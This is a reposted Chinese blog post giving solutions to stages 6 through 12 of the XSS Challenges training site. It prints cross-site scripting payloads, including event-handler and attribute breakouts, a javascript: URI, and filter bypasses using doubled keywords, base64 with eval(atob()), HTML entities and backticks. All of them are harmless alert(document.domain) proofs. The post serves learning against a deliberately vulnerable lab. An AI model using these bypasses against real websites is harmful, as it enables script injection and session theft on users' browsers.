欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

XSS训练网站XSS Challenges所有题目解(中篇)

程序员文章站 2022-03-06 17:15:45
目录Stage #6 html事件中的XSSStage #7 列表中的XSSStage #8 列表中的XSSStage #9 列表中的XSSStage #10 列表中的XSSStage #6 html事件中的XSSonlick事件onmouseover事件unload事件" οnclick="alert(document.domain)" οnclick="alert(document.domain)"" οnmοuseοver="alert(document.domain)" οnmοuseο...

上篇链接我是上篇
下篇链接我是下篇

Stage #6 html事件中的XSS

用事件即可解决,举个例:下面三种都可
onlick事件
onmouseover事件
unload事件

" οnclick="alert(document.domain)
" οnclick="alert(document.domain)"
" οnmοuseοver="alert(document.domain)
" οnmοuseοver="alert(document.domain)"
//其实后面不用闭合,但闭合了也没关系,网站会自动加个=的闭合构成

Stage #7 列表中的XSS

输入123,正常

输入123 234
-->value="123" 234=""

再输入123 234 345
-->value="123" 234="" 345=""

再输入123 234=345
-->value="123" 234="345"

这样就清楚了,构造payload

123 onclick=alert(document.domain)

Stage #8 javascript中的XSS

F12后随意输入几个字符:111222,发现是超链接

<a href="111222">111222</a>

构造普通的XSS发现行不通,于是构造一下内容:

javascript:alert(document.domain)

Stage #9 UTF-7中的XSS

没有所需的环境…
用的取巧的payload
在F12后选取hint,在id=“hide”后面加上如下代码即可

onclick="alert(document.domain)"

Stage #10 有过滤的XSS(1)

老样子,输入一下语句测试

"><script>alert(document.domain);</script>

F12定位代码后发现document没了,考虑是过滤

解法一

想到双写domain试一试,结果成功了

"><script>alert(document.dodomainmain);</script>

解法二

使用base64解码绕过过滤
把alert(document.domain)进行base64编码后(不限于base64)
使用atob函数进行base64解码即可

"><script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))</script>

Stage #11 有过滤的XSS(2)

此题提示为

"s/script/xscript/ig;" and "s/on[a-z]+=/onxxx=/ig;" and "s/style=/stxxx=/ig;" 

就是过滤了script,过滤了on开头的事件,过滤了style

"><a herf ="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:document.domain">123</a>

Stage #12 有过滤的XSS(3)

因为双引号空格等都被过滤,所以
采用两个反引号`` 进行替代双引号
但是只有IE浏览器才会将反引号识别为",
所以用IE浏览器打开输入以下代码即可

`` onmouseover=alert(document.domain);

本文地址:https://blog.csdn.net/qq_42263820/article/details/107581840

相关标签: XSS XSSchallenges